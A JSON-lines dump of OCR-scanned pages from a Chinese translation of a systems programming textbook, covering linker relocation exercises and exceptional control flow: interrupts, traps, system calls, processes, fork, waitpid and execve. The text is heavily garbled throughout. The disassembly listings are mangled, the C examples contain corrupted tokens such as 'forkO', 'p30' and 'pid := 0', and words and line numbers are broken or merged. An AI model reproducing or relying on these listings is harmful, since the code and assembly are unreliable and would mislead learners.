    {"text": "1 extern int p3(void); 2 int x = 1; 3 int *xp = &x; A 5 void p2(int y) { 6 > 7 8 void pl() { 9 p2(*xp + p30); 10 } a) C代码 1 00000000 <p2>: 2 0: 55 push %ebp 3 1: 89 e5 mov y o esp,%ebp 4 3: 89 ec mov 7 0 ebp,%esp 5 5: 5d pop %ebp 6 6: c3 ret 7 00000008 <pl>: 8 8: 55 push %ebp 9 9: 89 e5 mov 7 0 esp,%ebp 10 b: 83 ec 08 sub $0x8,%esp 11 e: 83 c4 f4 add $0xfffffff4,%esp 12 11: e8 f c ff ff ff call 12 <pl+0xa> 13 16: 89 c2 mov %eax,%ed3c 14 18: al 00 00 00 00 mov OxO,%eax 15 Id: 03 10 add (%eax),%edx 16 If: 52 push %edx 17 20: e8 fc ff ff ff call 21 <pl+0xl9> 18 25: 89 ec mov %ebp,%esp 19 27: 5d pop %ebp 20 ..28: c3 ret b)可重定位目标文件的.text节 1 00000000 <x>: 2 0: 01 00 00 00 3 00000004 <xp>: 4 4: 00 00 00 00 c)可重定位目标文件的.data节 图7-20练习题7.13的示例代码 7.14考虑图7-21中的C代码和相应的可重定位目标模块。"},
    {"text": "l int relo3(int val) { 2 switch (val) { 3 case 100: A return (val); 5 case 101: 6 return(val+1); 7 case 103: case 104: 8 return(val+3); 9 case 105: iO return(val+5); 11 default: 12 return(val+6); 13 > 14 > a) C代码 1 00000000 <relo3> 2 0 55 3 1 89 e5 4 3 8b 45 08 5 6 8d 50 9c 6 9 83 fa 05 7 c 77 17 8 e ff 24 95 9 15 40 10 16 eb 10 U 18 83 cO 03 12 lb eb 0b 13 Id 8d 76 00 14 20 83 cO 05 15 23 eb 03 16 25 83 cO 06 17 28 89 ec 18 2a 5d )9 2b c3 push mov mov le< cm] ja in( jm] ad( im le< adc / 0 ebp %esp，％ebp 0x8(%ebp),%eax Oxffffff9c(%eax),%edx $0x5,%edx 25 <relo3+0x25> 95 00 00 00 00 *0x0(,%edx,4) %eax 28 <relo3+0x28> $0x3,%eax 28 <relo3+0x28> OxO(°/ 0 esi) ,%esi $0x5,%eax p d V p t m d o o e j amp r 28 <relo3+0x28> $0x6,%eax %ebp,%esp %ebp\nb)可重定位目标文件的.text节 This is the jump table for the swi tch statement 0000 28000000 15000000 25000000 18000000 4 words at offsets 0y：0 .0x4,0x8, and Oxc 0010 18000000 20000000 2 words at offsets Ox.lG and 0x14 c)可重定位目标文件的.rodata节 图 7-21 练习题 7.14 的示例代码\n77.15 完成下面的任务将帮助你更熟悉处理目标文件的各种工具。"},
    {"text": "符号类型 在哪个模块中定义 T\nbuf bufpO bufpl swap temp 是 是 是 是 否 extern main.o .data global swap. o .data global swap.o .bss global swap. o • text\n练习题 7.2这是一个简单的练习，检查你对Unix链接器解析定义在一个以上模块中的全局符号时所使用 规则的理解。"},
    {"text": "链接器选择定义在模块1中的强符号，而不是定义在模块2中的弱符号（规则2): REF (main. 1) ~> DEF (main. 1) REF(main.2) —> DEF(main.l) 这是一个错误，因为每个模块都定义了一个强符号main (规则1)。 链接器选择定义在模块2中的强符号，而不是定义在模块1中的弱符号（规则2): REF(x.l) —> DEF(x.2) REF(x.2) —> DEF(x.2) 练习题 7.3在命令行中错误地放置静态库的位置是造成令许多程序员迷惑的链接器错误的常见原因。"},
    {"text": "这个小练习检查了你对 这个概念的理解： gcc p.o libx.a gcc p.o libx.a liby.a gcc p.o libx.a liby.a libx.a 练习题 7.4这道题涉及的是图7-10中的反汇编列.表。"},
    {"text": "你可以参考图7-14中的C启动代码来回答这些问题： 每个程序都需要一个main函数，因为C的启动代码对于每个C程序而言都是相同的，要跳转到一 个叫做main的函数上。"},
    {"text": "如果main是以调用exit终止 的，那么exit将最终通过调用_找1七将控制返回给操作系统。 在这三种情况中，最终效果是相同的：当 main完成时，控制会返回给操作系统。"},
    {"text": "| 第 8 章 | I Con^uter Systems ： A Programmer' s Perspective, 2E 异常控制流 从给处理器加电开始，直到断电为止，程序计数器假设一个值的序列 以 0 ， 以1，•••， 其中，每个q是某个相应的指令厶的地址。"},
    {"text": "在操作系统层，内核通过上 下文转换将控制从一个用户进程转移到另一个用户进程。 在应用层，一个进程可以发送信号到另 一个进程，而接收者会将控制突然转移到它的一个信号处理程序。"},
    {"text": "中断应用程序、 进程和线程（它们的执行在时间上是重叠的）执行的异常处理程序和中断应用程序执行的 信号处理程序都是在运行中的并发的例子。"},
    {"text": "处理器状态中的变化（事件）触发 从应用程序到异常处理程序的突发的控制转移 (异常)。 在异常处理程序完成处理后，它将控制 返回给被中断的程序或者终止 异常（exception)就是控制流中的突变，用来响应处理器状态中的某些变化。"},
    {"text": "图 8-1 在任何情况下，当处理器检测到有事 件发生时，它就会通过一 张叫做异常表 (exception table)的跳转表，进行一个间 接过程调用（异常)，到一个专门设计用 来处理这类事件的操作系统子程序（异 常处理程序 （exception handler))。"},
    {"text": "当异常处理程序完成处理后，根据引起异常的事件的类型，会发生以下三种情况中的一种： 处理程序将控制返回给当前指令/胃，即当事件发生时正在执行的指令。"},
    {"text": "异常处理程序0的代码 异常处理程序1的代码 异常处理程序2的代码. 异常处理程序w-1的代码 在运行时（当系统在执行某个程序时)，处理 器检测到发生了一个事件，并且确定了相应的异 常号h随后，处理器触发异常，方法是执行间接 过程调用，通过异常表的条目&转到相应的处理程 序。"},
    {"text": "然而，根据异常的类 型，返回地址要么是当前指令（当事件发生时正在执行的指令)，要么是下一条指令（如 果事件不发生，将会在当前指令后执行的指令)。"},
    {"text": "在处理程序处理完事件之 后，它通过执行一条特殊的“ 从中断 返回”指令，可选地返回到被中断的程序，该指令将适当的 状态弹回到处理器的控制和数据寄存器中，如果异常中断的是一个用户程序，就将状态恢复为用 户模式 （见8.2.4节)，然后将控制返回给被中断的程序。"},
    {"text": "1 .中断 中断是异步发 生的，是来自处理器外部的I/O设备的信号的结果。 硬件中断不是由任何一条 专门的指令造成的，从这个意义上来说它是异步的。 硬件中断的异常处理程序通常称为中 断处理 程序(interrupt handler)。"},
    {"text": "类别 原因 异步/同步 返回行为 中断 来自I/o设备的信号 异步 总是返回到下一条指令 陷阱 有意的异常 同步 总是返回到下一条指令 故障 潜在可恢复的错误 同步 可能返回到当前指令 终止 不可恢复的错误 同步 不会返回 图8-4异常的类别。 异步异常是由处理器外部的I/O设备中的事件产生的，同步异常是执行一条指令 的直接产物 图8-5概述了一个中断的处理。 I/O设备，例如网络适配器、磁盘控制器和定时器芯片，通 过向处理器芯片上的一个引脚发信号，并将异常号放到系统总线上，以触发中断，这个异常号标 识了引起中断的设备。"},
    {"text": "中断处理程序将控制返回给应用程序控制流中 的下一条指令 (2)在当前指令完成后， 控制传递给处理程序 (1)在当前指令 的执行过程中，中 断引脚电压变髙了 (3)中断处 理程序运行 (4)处理程序返回 到下一条指令 处理器注意到中断引脚的电压变 高了，就从系统总线读取异常 号，然后调用适当的中断处理程 序。 当处理程序返回时，它就将 控制返回给下一条指令（即如果 没有发生中断，在控制流中会在 当前指令之后的那条指令）。"},
    {"text": "(1)应用程 syscall 序执行一次系 统调用 (2)控制传递给处理程序 用户程序经常需要向内核请求服务，比如读一个文件（read)、创建一个新的进程 (fork)、加载一个新的程序（execve),或者终止当前进程（exit)。 为了允许对这些内核服 务的受控的访问，处理器提供了一条特殊的“syscallw”指令，当用户程序想要请求服务《 时，可以执行这条指令。 执行syscall指令会导致一个到异常处理程序的陷阱，这个处理程序 对参数解码，并调用适当的内核 程序。"},
    {"text": "陷阱处理程序将控制返回给应用程序控制流中 的下一条指令 (4)处理程序返回到 syscall之后的指令 (3)陷阱处 理程序运行 系统调用和普通的函数调用是一 样的。"},
    {"text": "普通的函数运行在用户 樸式（user mode)中，用户模式 限制了函数可以执行的指令的类 型，而且它们只能访问与调用函\n数相同的栈。 系统调用运行在内 核模式 （kernel mode)中，内核模式允许系统调用执行指令，并 访问定义在内核中的栈。"},
    {"text": "当故障发生时，处理器将控制转移 给故障处理程序。 如果处理程序能够修正这个错误情况，它就将控制返回到引起故障的指令，从 而重新执行它。 否则，处理程序返回到内核中的abort例程，abort例程会终止引起故障的应 用程序。"},
    {"text": "⑴当前指令 T, (2)控制传递给处理程序 L --- 、… h 导致一个故障 (3)故障处 r 理程序运行 (4)处理程序要么重新 ^ 执行指令，要么终止 图8-7故障处理。 根据故障是否能够被修复，故障处理程序要么重新执行引起故障的指令，要么终止 一个经典的故障示例是缺页异常，当指令引用一个虚拟地址，而与该地址相对应的物理页面 不在存储器中，因此必须从磁盘中取出时，就会发生故障。"},
    {"text": "( ,) 发生致命 1 ” （ 2 )传递控制给处理程序 , 的硬件错误 CU,T \"\"1 (3)终止处 理程序运行 ► abort t (4)处理程序返回到 abort例程 图8-8终止处理。"},
    {"text": "终止处理程序将控制传递给一个内核abort例程，该例程会终止这个应用程序 Linux/IA32 系统中的异常 为了使描述更具体，让我们来看看为IA32系统定义的一些异常。"},
    {"text": "异常号 描述 异常类别 0 除法错误 故障 13 一般保护故障 故障 14 缺页 故障 • 18 机器检查 终止 32 〜127 操作系统定义的异常 中断或陷阱 128 (0x80) 系统调用 陷阱 129 〜255 操作系统定义的异常 中断或陷阱 图8-9 IA32系统中的异常示例 一般保护故障。"},
    {"text": "许多原因都会导致不为人知的一般保护故障（异常13),通常是因为一个程 序引用了一个未定义的虚拟存储器区域，或者因为程序试图写一个只读的文本段。"},
    {"text": "编号 名字 描述 编号 名字 描述 1 exit 结束进程 27 alarm 设置传送信号的警告时钟 2 fork 创建新进程 29 pause 挂起进程直到信号到达 • 3 read 读文件 37 kill 发送信号（译者注：结束信 号）到另一个进程 4 write 写文件 48 signal 安装一个信号处理程序 5 open 打开文件 63 dup2 复制文件描述符 6 close 关闭文件 64 getppid 获得父进程ID 7 waitpid 等待子进程结束 65 getpgrp 获得进程组. 11 execve 加载和运行程序 67 sigaction .安装可移植的信号处理程序 19 lseek 定位到文件偏移量处 90 mmap 将存储器页映射到文件 20 getpid 获得进程ID 106 stat 获得有关文件的信息 图 8-10 Linux/IA32 系统中常用的系统调用示例。"},
    {"text": "来源： /iisr/include/sys/ syscall.h 在IA3.2.系统上，系统调用是通过一条称为int n 的陷阱指令来提供的，其中《可能是IA32 异常表中256个条目中任何一个的索引。"},
    {"text": "这些包装函数将参数打包到一起, 以适当的系统调用号陷入内核，然后将系统调用的返回状态传递回调用程序。 在本书全文中，我 们將系统调用和与它们相关联的包装函数称为 系统级 函数，这两个术语可以互换地使用。"},
    {"text": "例如，考虑大家熟悉的hello程序的下面这个版本，是用系统级函数write来写的： int main() write(1, \"hello, world\\n M , 13); exit(O); write函数的第一个参数将输出发送到stdout。"},
    {"text": "code/ecf/hello-asm.sa 1 .section .data 2 string: 3 .ascii \"hello, world\\n\" 4 string_end : 5 .equ len, string_end - string 6 .section .text 7 .globl main 8 main: First, call w:ri te(1, \"hello, world\\n\" , 13) 9 movl $4, %eax System call number 4 10 movl $1, %ebx stdout has descriptor 1 11 movl $string, %ecx Hello uorld string 12 movl $len, %edx String length 13 int $0x80 System call code Mext, call exi t (0) 14 movl $1, %eax System call number 0 15 movl $0, %ebx Argument is 0 16 int $0x80 System call code code/ecf/hello-asm.sa 图 8-11 直接用 Linux 系统调用来实现 hello 程序 关于术语的注释 各种异常类型的术语是根据系统的不同而有所不同的。"},
    {"text": "处理器宏体系结构（macroarchitecture) 规范通常会区分异步的“中断”和同步的“异常”，但是并没有提供描述这些非常相似的概念的 概括性的术语。 为了避免不断地提到“异常和中断”以及“异常或者中断”，我们用单词“异常” 作为通用的术语，而且只有在必要时才区别异步异常（中断）和同步异常（陷阱、故障和终止）。 正如我们提到过的，对于每个系统而言，基本的概念都是相同的，但是你应该意识到一些制造厂 商的手册会用“异常”仅仅表示同步事件引起的控制流的改变。 8.2 进程 异常是允许操作系统提 供进程 （process)的概念所需要的基本构造块，进程是计算机科学中 最深刻最成功的概念之一。"},
    {"text": "每次用户通过向外壳输入一个可执行目标文件的名字，并运行一个程序时，外壳就会创建一 个新的进程，然后在这个新进程的上下文中运行这个可执行目标文件。"},
    {"text": "如果想用调试器单步执行程序，我们会看到一系列的程序计数器（PC)的 值，这些值唯一地对应于包含在程序的可执行目标文件中的指令，或者是包含在运行时动态链接 到程序的共享对象中的指令。"},
    {"text": "进程A运行了一会儿，然后是进程B开始运行到完成。 然后，进程C运行 了一会儿，进程A接着运行直到完成。 最后，进程C可以运行到结束了。"},
    {"text": "如果两个流并发地运行在不同的处理器核或者计算机 上，那么我们称 它们为并行流 （parallel flow), 它 们并行地运行 （running in parallel), 且 并行地 执行 （parallel execution )。"},
    {"text": "®练习题8.1考虑三个具有下述起始和结束时间的进程： 进程 起始时间 结束时间 A 0 2 B 1 4 C 3 5 . 对于每对进程，指出它们是否是并发地运行的： 进程对 并发的？"},
    {"text": "一个进程为每个程序提供它自己的 私有地址空间。 一般而言，和这个空间中某个地址相关联的那个存储器字节是不能被其他进程读 或者写的，从这个意义上说，这个地址空间是私有的。 尽管和每个私有地址空间相关联的存储器的内容一般是不同的，但是每个这样的空间都有相 同的通用结构。"},
    {"text": "用户模式和内核模式 为了使操作系统内核纖一个无懈可击的进程抽象，处理器必须提供一种机制，限制一个应 用可以执行的指令以及它可以访问的地址空间范围。"},
    {"text": "当设置了模式位时，进程就运行 在内核模式中 （有时 叫做超级用户 模式)。 一个运行在内核模式的进程可以执行指令集中的任何指令，并且可以访间系统中任何存 储器位置 。"},
    {"text": "内核虚拟存储器 ( 代码、数据、堆、栈） 用户代码不可见 的存储器 -%esp ( 栈指针） 用户栈 ( 运行时创建的）\n共拿库的存储器映射区域 !\n-brk\n运行时堆 ，• ( 用 halloc 仓 || 率的 ) _/写& 、 (.data、.bss ) 只读段 0x08048000 (32) 0x00400000 (64) (.init、. text、.rodata) I 图 8-13 进程地址空间 没有设置模式位时，进程就运行在 用户模 式中。"},
    {"text": "进程从用户模式变为内核模式的唯一方 法是通过诸如中断、故障或者陷入系统调用这样的异常。 当异常发生时，控制传递到异常处理程. 序，处理器将模式从用户模式变为内核模式。 处理程序运行在内核模式中，当它返回到应用程序 代码时，处理器就把模式从内核模式改回到用户模式。"},
    {"text": "Linux提供了一种聪明的机制，叫做/proc文件系统，它允许用户模式进程访问内核数 据结构的内容。 /proc文件系统将许多内核数据结构的内容输出为一个用户程序可以读的文 本文件的层次结构。"},
    {"text": "比如，你可以使用/proc文件系统找出一般的系统属性，如CPU类型 (/proc/cpuinfo),或者某个特殊的进程使用的存储器段（/proc/〈process id>/maps)。"},
    {"text": "它由一些对象的值组成，这些对象包括通用目的寄存器、浮点寄存器、程序计数器、 用户栈、状态寄存器、内核栈和各种内核数据结构，比如描绘地址空间的 页表、 包含有关当前进 程信息的进 程表， 以及包含进程已打开文件的信息的文 件表。"},
    {"text": "这种决定就叫 做调度 （schedule),是由内核中称为 调度器 （scheduler)的代码处理的。 当 内核选择一个新的进程运行时，我们就说内 核调度 了这个进程。"},
    {"text": "在内核调度了一个新的进程运 行后，它就抢占当前进程，并使用一种称 为上下文切换 的机制来将控制转移到新的进程， 上下 .\n文切换1)保存当前进程的上下文，2)恢复某个先前被抢占的进程被保存的上下文，3)将控 制传递给这个新恢复的进程。"},
    {"text": "如果系统调用因为等待某个事件 发生而阻塞，那么内核可以让当前进程休眠，切换到另一个进程。 比如，如果一个read系统调 用请求一个磁盘访问，内核可以选择执行上下文切换，运行另外一个进程，而不是等待数据从磁 盘到达。"},
    {"text": "时间 进程A 进程B read 磁盘中断 从read返回 用户模式 内核模式 ▼ 用户模式 内雛式 上下文切换 上下文切换 图8-14进程上下文切换的剖析 用户模式 磁盘取数据要用一段相对较长的时间（数量级为几十毫秒)，所以内核执行从进程A到进程 B的上下文切换，而不是在这个间歇时间内等待，什么都不做。 注意在切换之前，内核正代表进 程A在用户模式下执行指令。 在切换的第一部分中，内核代表进程A在内核模式下执行指令。 然后在某一时刻，它开始代表进程B (仍然是内核模式下）执行指令。 在切换之后，内核代表进 程B在用户模式下执行指令。 随后，进程B在用户模式下运行一会儿，直到磁盘发出一个中断信号 ， 表示数据已经从磁 盘传送到了存储器。 内核判定进程B已经运行了足够长的时间了，就执行一个从进程B到进程 A的上下文切换，将控制返回给进程A中紧随在系统调用read之后的那条指令。"},
    {"text": "如果当前进程被一个中断暂时中断，那么对于中断处理程序来说高速缓存是冷的（ cold) (译者注： “ 高速缓存是冷的 ” 意思是程序所需要的数据都不在高速缓存中）。 如果处理程序从 主存中访问了足够多的表项 ， 那么当被中断的进程继续时 ， 高速缓存对它来说也是冷的了。"},
    {"text": "比如，下面是我们调用Unix fork函数时会如何检査错误： if ((pid = forkO) < 0) { fprintf(stderr, \"fork error: %s\\n\", strerror(errno)); exit(0); > strerror函数返回一个文本串 ， 描述了和某个errno值相关联的错误。 通过定义下面的 错误报告函数（error-reporting function),我们能够在某种程度上简化这个代码： void unix 一 error(char *msg) / 氺 Unix-style error */ i * f printf (stderr, \"%s: °/ 0 s\\n\", msg, strerror (errno)); exit(0); 给定这个函数，我们对fork的调用从4行简化到了 2行： if ((pid = forkO) < 0) unix_error(\"fork error\"); 通过使用 错误处理包装 （error-handling wrapper)函数，我们可以更进一步地简化我们的代 码。"},
    {"text": "比如，下面是fork 函数的错误处理包装函数： 1 pid_t Fork(void) pid 一 t pid; if ((pid = forkO) < 0) unix_error(\"Fork error\"); return pid; 给定这个包装函数，我们对fork的调用就缩减为1行： pid = ForkO ; 我们将在本书剩余的部分中都使用错误处理包装函数。"},
    {"text": "、 8.4.1获取进程ID 每个进程都有一个唯一的正数（非零）进程ID (PID)o getpid 函数返回调用进程的PID。 getppid 函数返回它的父进程的PID (创建调用进程的进程）。 #include <sys/types.h> #include <unistd.h> pid^t getpid(void); pid_t getppid(void); 返回：调用者或其父进程的 PID 。 getpid 和 getppid 函数返回一个类型为 pid 一 t 的整数值，在Linux系统上它在 types . h 中被定义为 into 8.4.2创建和终止进程 从程序员的角度，我们可以认为进程总是处于下面三种状态之一： •运行。"},
    {"text": "当收到SIGSTOP、SIGTSTP、 SIDTTIN或者SIGTTOU信号时，进程就停止，并且保持停止直到它收到一个SIGCONT 信号，在这个时刻，进程再次开始运行。"},
    {"text": "^ —_ ■ #include <stdlib.h> void exit(int status); 该函数无返回值。 exit 函数以 status 退出状态来终止进程（另一种设置退出状态的方法是从主程序中返回 一个整数值)。"},
    {"text": "父进程通过调用fork函数创建一个新的运行子进程： #include <sys/types.h> #include <unistd.h> pid_t fork(void); 返回：子进程返回 0, 父进程返回子进程的 PID, 如果出错，则为 -1 。"},
    {"text": "子进程得到与父进程用户级虚拟地址空间相同 的（但是独立的）一份拷贝，包括文本、数据和bss段、堆以及用户栈。 子进程还获得与父进程 任何打开文件描述符相同的拷贝，这就意味着当父进程调用fork时，子进程可以读写父进程中 打开的任何文件。"},
    {"text": "fork函数是有趣的（也是常常令人迷惑的），因为它只被调用 一次， 却会返 回两次： 一次 是在调用进程（父进程）中，一次是在新创建的子进程中。 在父进程中,fork返回子进程的 PID。"},
    {"text": "code/ecf/fork.c #include \"csapp.h\" 2 int mainO { pid_t pid; . int x = 1; 7 B pid = ForkO ;. if (pid := 0) { /* Child */ printf(\"child : x=%d\\n\", ++x); exit(0); > •13 /* Parent */ printf(\"parent: x=%d\\n\", --x); exit(0) ; } code/ecf/fork.c 图8-15使用fork创建一个新进程 当在Unix系统上运行这个程序时，我们得到下面的结果： unix> ./fork parent: x=0 child : x=2 这个简单的例子有一些微妙的方面。"},
    {"text": "然而， 因为父进程和子进程是独立的进程，它们都有自己的私有地址空间。 父进程和子进程对x 所做的任何改变都是独立的 ， 不会反映在另一个进程的存储器中。"},
    {"text": "如果你是第一次学习fori/函数，画进程图通常会有所帮助，其中每个水平的箭头对应于从 左到右执行指令的进程，而每个垂直的箭头对应于fork函数的执行。"},
    {"text": "#include \"csapp.h\" 2 int mainO { hello hello ForkO ; printf(\"hello\\n\"); exit(0);\nfork a)调用fork—次 b)打印两个输出行\n#include \"csapp.h\" int mainO\nhello\nhello hello hello ForkO; ForkO; printf(\"hello\\n\"); exit(0);\nc)调用fork两次 1 2 #include \"csapp.h\" 3 int mainO 4 { 5 ForkO; 6 ForkO; 7 ForkO ； 8 printf(\"hello\\n\"); 9 exit(0); 10 } e)调用fork三次 fork fork d)打印4个输出行 fork fork fork f)打印8个输出行\n图8-16 fork程序示例和它们的进程图\n_练习题8.2考虑下面的程序： code/ecf/forkprobO. c #include \"csapp.h\" 2 int mainO { > int x = 1; 6 if (ForkO == 0) printf(\"printf1: x=%d\\n\", ++x); printf(\"printf2: x=%d\\n\", —x); exit(0); ri > code/ecf/forkprobO. c 子进程的输出是什么？"},
    {"text": "相反，进程被保持在 一种已终止的状态中 ， 直到被它的父进程回收（reap)。 当父进程回收已终止的子进程时，内核 将子进程的退出状态传递给父进程 ， 然后抛弃已终止的进程，从此时开始，该进程就不存在了。 一个终止了但还未被回收的进程称为僵死进程（zombie)。 为什么已终止的子进程被称为僵死进程？"},
    {"text": "僵死进程已经终止了 ， 而内核仍 保留着它的某些状态直到父进程回收它为止 , 从这个意义上说它们是类似的。 如果父进程没有回收它的僵死子进程就终止了，那么内核就会安排init进程来回收它们。"},
    {"text": "一个进程可以通过调用waitpid函数来等待它的子进程终止或者停止。 #include <sys/types.h> #include <sys/wait.h> pid_t waitpid(pid_t pid, int *status, int options); 返回：如果成功，则为子进程的 PID, 如果 WNOHANG, 则为 0, 如果其他错误，则为 -1 。"},
    {"text": "默认地（当options = 0时)，waitpid挂起调用进程的执行, 直到它的等待集合中的一个子进程终止。 如果等待集合中的一个进程在刚调用的时刻就已经终止 了，那么waitpid就立即返回。 在这两种情况下，waitpid返回导致waitpid返回的已终止 子进程的PID,并且将这个已终止的子进程从系统中去除。"},
    {"text": "判定等待集合的成员 等待集合的成员是由参数pid来确定的： •如果pid > 0,那么等待集合就是一个单独的子进程,它的进程ID等于pid。 •如果pid = -1，那么等待集合就是由父进程所有的子进程组成的。"},
    {"text": "修改默认行为 可以通过将optioins设置为常量WNOHANG和WUNTRACED的各种组合,修改默认行为： •WNOHANG:如果等待集合中的任何子进程都还没有终止，那么就立即返回（返回值为 0)。"},
    {"text": "WNOHANG|WUNTRACED ：立即返回，如果等待集合中没有任何子进程被停止或已终止， 那么返回值为0,或者返回值等于那个被停止或者已终止的子进程的PID。"},
    {"text": "检查已回收子进程的退出状态 如果status参数是非空的，那么waitpid就会在status参数中放上关于导致返回的子 进程的状态信息。 wait .h头文件定义了解释status参数的几个宏： •WIFEXITED (status)：如果子进程通过调用exit或者一个返回（return)正常终止， 就返回真。 •WEXITSTATUS (status)：返回一个正常终止的子进程的退出状态。"},
    {"text": "•WIFSIGNALED (status)：如果子进程是因为一个未被捕获的信号终止的，那么就返回 真（将在8.5节中解释说明信号)。 •WTERMSIG (status) ： 返回导致子进程终止的信号的数量。"},
    {"text": "•WIFSTOPPED (status)：如果弓丨起返回的子进程当前是被停止的，那么就返回真。 •WSTOPSIG (status)：返回引起子进程停止的信号的数量。"},
    {"text": "错误条件 如果调用进程没有子进程，那么waitpid返回-1，并且设置errno为ECHILD。 如果 waitpid函数被一个信号中断 ， 那么它返回—1,并设置errno为EINTR。"},
    {"text": "和 Unix 函数相关的常量 像WNOHANG和WUNTRACED这样的常量是由系统头文件定义的。 例如，WNOHANG 和WUNTRACED是由wait, h头文件（间接）定义的 ： /* Bits in the third argument to *waitpid 1 . */ #define WNOHANG 1 /* Don't block waiting. */ #define WUNTRACED 2 /* Report status of stopped children. */ 为了使用这些 常量， 必须在你的代码中包含 wait .h 头文件 ： #include <sys/wait.h> 每个Unix函数的man页列出了无论何时你在代码中使用那个函数都要包含的头文件。"},
    {"text": "® 练习题 8.3 列出下 f 程序所有可能的输出序列： 1 *■> int mainO i 3 \\ if (ForkO == 0) { 4 printf(\"a\"); 5 } 6 else { 7 printf (\"b\"); 8 waitpid(-l, NUL L, 0); 9 } 10 printf (\"c\"); 11 exit(O) ; 12 > 5. wait函数 wait函数是waitpid函数的简单版本： code/ecf/waitprobO. c code/ecf/waitprobO. c #include <sys/types.h> #include <sys/wait.h> pid_t wait(int *status); 返回：如果成功，则为子进程的 PID, 如果出错，则为一 1 。 调用 wait (&status)等价于调用 waitpid(-1, &status, 0) 0 6.使用waitpid的示例 因为waitpid函数有些复杂，看几个例子会有所帮助。"},
    {"text": "因为第一个参数是-1,所以对waitpid的调用会阻塞，直到任意一个子进程终止。 在每个子 进程终止时，对waitpid的调用会返回，返回值为该子进程的非零的PID。"},
    {"text": "在我们的Unix系统上运 行这个程序时，它产生如下输出： unix> ./waitpidl child 22966 terminated normally with exit status=100 child 22967 terminated normally with exit status=101 注意，程序不会按照特定的顺序回收子进程。"},
    {"text": "在第11行中，父进程按照顺序存储了它的子进程的PID,然后通过用 适当的PID作为第一个参数来调用waitpid,按照同样的顺序来等待每个子进程。"},
    {"text": ".\n. code/ecf/waitpidl.c\n#include \"csapp.h\" #define N 2 int mainO\n6 7 9 10 11 12 13 14 15 16 17 18 19 21 22 23 2.4 25 26 27 28 int status, i; pid_t pid; / 5 Parent creates M children for (i = 0; i < N; i++) /* Child */ if ((pid = ForkO) == 0) exit(100+i); /* Parent reaps N children in no particular order while ((pid =* waitpid(-1, &status, 0)) >0) { if (WIFEXITED(status)) printf(\"child %d terminated normally with, pid, WEXITSTATUS(status)); else printf(\"child %d terminated abnormally\\n\", > The only normal termination is if there are no more children */ (errno != ECHILD) /* if exit(0); */ exit status=%d\\n\", pid);\ncode/ecf/waitpidl. c\n图8-17使用waitpid函数不按照特定的顺序回收僵死子进程\ncode/ecf/waitpid2.c\n1 2 3 4 5 6 7 9 10 .11 12 13 14 15 16 17 18 19 21 22 23 24 25 26 27 29 #include \"csapp.h\" #define N 2 int mainO { int status, i; pid^t pid[N], retpid; /* Parent creates N children */ for (i = 0; i < N; i++) if ((pid[i] = ForkO) == 0) /* Child . exit(100+i); /* Parent reaps N children in order */ = 0; while ((retpid = waitpid(pid[i++], &status, 0)) >0) { if (WIFEXITED(status)) printf(\"child %d terminated normally with exit status=%d\\n\", retpid, WEXITSTATUS(status)); else printf ('• child %d terminated abnormallyW 1 , retpid); > /* The only normal termination is if there are no more children */ if (errno != ECHILD) unix_error(\"waitpid error\"); exit(0);\n_练习题8.4考虑下面的程序： —一\" ! ——：^~' code/ecf/waitprobl. c int mainO { int status; pid_t pid; 5 printf(\"Hello\\n\"); pid = ForkO; printf(\"%d\\n\", !pid); if (pid != 0) { if (waitpid(-1, festatus, 0) > 0) { if (WIFEXITED(status) != 0) printf(\"%d\\n\", WEXITSTATUS(status)); > ' 7 } printf(\"Bye\\n\"); exit(2); > code/ecf/waitprobl. c 这个程序会产生多少输出行？"},
    {"text": "8.4.4 让进程休眠 sleep函数将一个进程挂起一段指定的时间。 #include <unistd.h> unsigned int sleep(unsigned int secs); 返回：还要休眠的秒数。 如果请求的时间量已经到了，sleep返回0,否则返回还剩下的要休眠的秒数。"},
    {"text": "我们会发现很有用的另一个函数是pause函数，该函数让调用函数休眠，直到该进程收到一 个信号o #include <unistd.h> int pause(void); 总是返回一 1 。"},
    {"text": "练习题8.5编写一个sleep的包装函数，叫做snooze,带有下面的接口： unsigned int snooze(unsigned int secs); 除了 snooze函数会打印出一条信息来描述进程实际休眠了多长时间外，它和sleep函数的行 为完全一样： Slept for 4 of 5 secs.\n加载并运行程序 execve 函数在当前进程的上下文中加载并运行一个新程序。"},
    {"text": "#include <unistd.h> int execve(const char *filename, const char *argv [], const char *envp []);\n如果成功，则不返回，如果错误，则返回一 1 。 execve 函数加载并运行可执行目标文件 filename, 且带参数列表 argv 和环境变量列表 envp 。 只有当出现错误时，例如找不到 filename, execve 才会返回到调用程序。"},
    {"text": "argv 口\nargv[0] argv[l] argv [argc - 1] \"Is\" j \"/user/include\" | ] -It\"\n图8-19参数列表的组织结构 envp[] envp 1 ► envp [0] ^ 」 envp[l] 1 envp[n ^ 1] ..NULL ►| ,, PWD=/usr/droh ,, | | \"PRINTER=iron\" | \"USER=droh M 图8-20环境变量列表的组织结构 在execve加载了 filename之后，它调用7.9节中描迷的启动代码。"},
    {"text": "启动代码设置栈，并 将控制传递给新程序的主函数，该主函数有如下形式的原型 int main(int argc, char **argv, char **envp); 或者等价地， int main(int argc, char *argv[], char *envp[]); 当 main 开始在一个 32 位 Linux 进程中执行时，用户栈有如图 8-21 所示的组织结构。"},
    {"text": "紧随环境变量数组之后的是以 null 结尾的 argv [] 数组，其中每个元素都指向栈中一个参数串。 在栈的顶部是 main 函数的 3 个参数： 1) envp, 它指向 envp[] 数组， 2) argv ,它指向 argv[] 数组， 3) argc, 它给出 argv[] 中非空指针的数量。 Unix 提供了几个函数来操作环境数组：\n栈底 Oxbfffffff\n以 mill 结尾的环境变量串 以 mill 结尾的命令行参数串 envp [n] = = NULL envp [n—1] environ envp [0] = NULL argv [argc] =\nargv[argc-l] argv[0] envp argv argc Oxbffffa7c main 的找帧 栈顶 图8-21当一个新的程序开始时，用户栈的典型组织结构 #include <stdlib.h> char *getenv(const char *name) 返回：若存在则为指向 name 的指针，若无匹配的，则为 NULL 。 getenv函数在环境数组中搜索字符串“name=value”。"},
    {"text": "#include <stdlib.h> int setenv(const char *name, const char *newvalue, int overwrite); 返回：若成功则为 0, 若错误则为一 1 。 void unsetenv(const char *name); 返回：无。 如果环境数组包含一个形如“name=oldvalue”的字符串，那么unsetenv会删除它， 而setenv会用newvalue代替oldvalue,但是只有在overwirte非零时才会这样。 如果 name不存在，那么setenv就把“name=newvalue”添加到数组中。"},
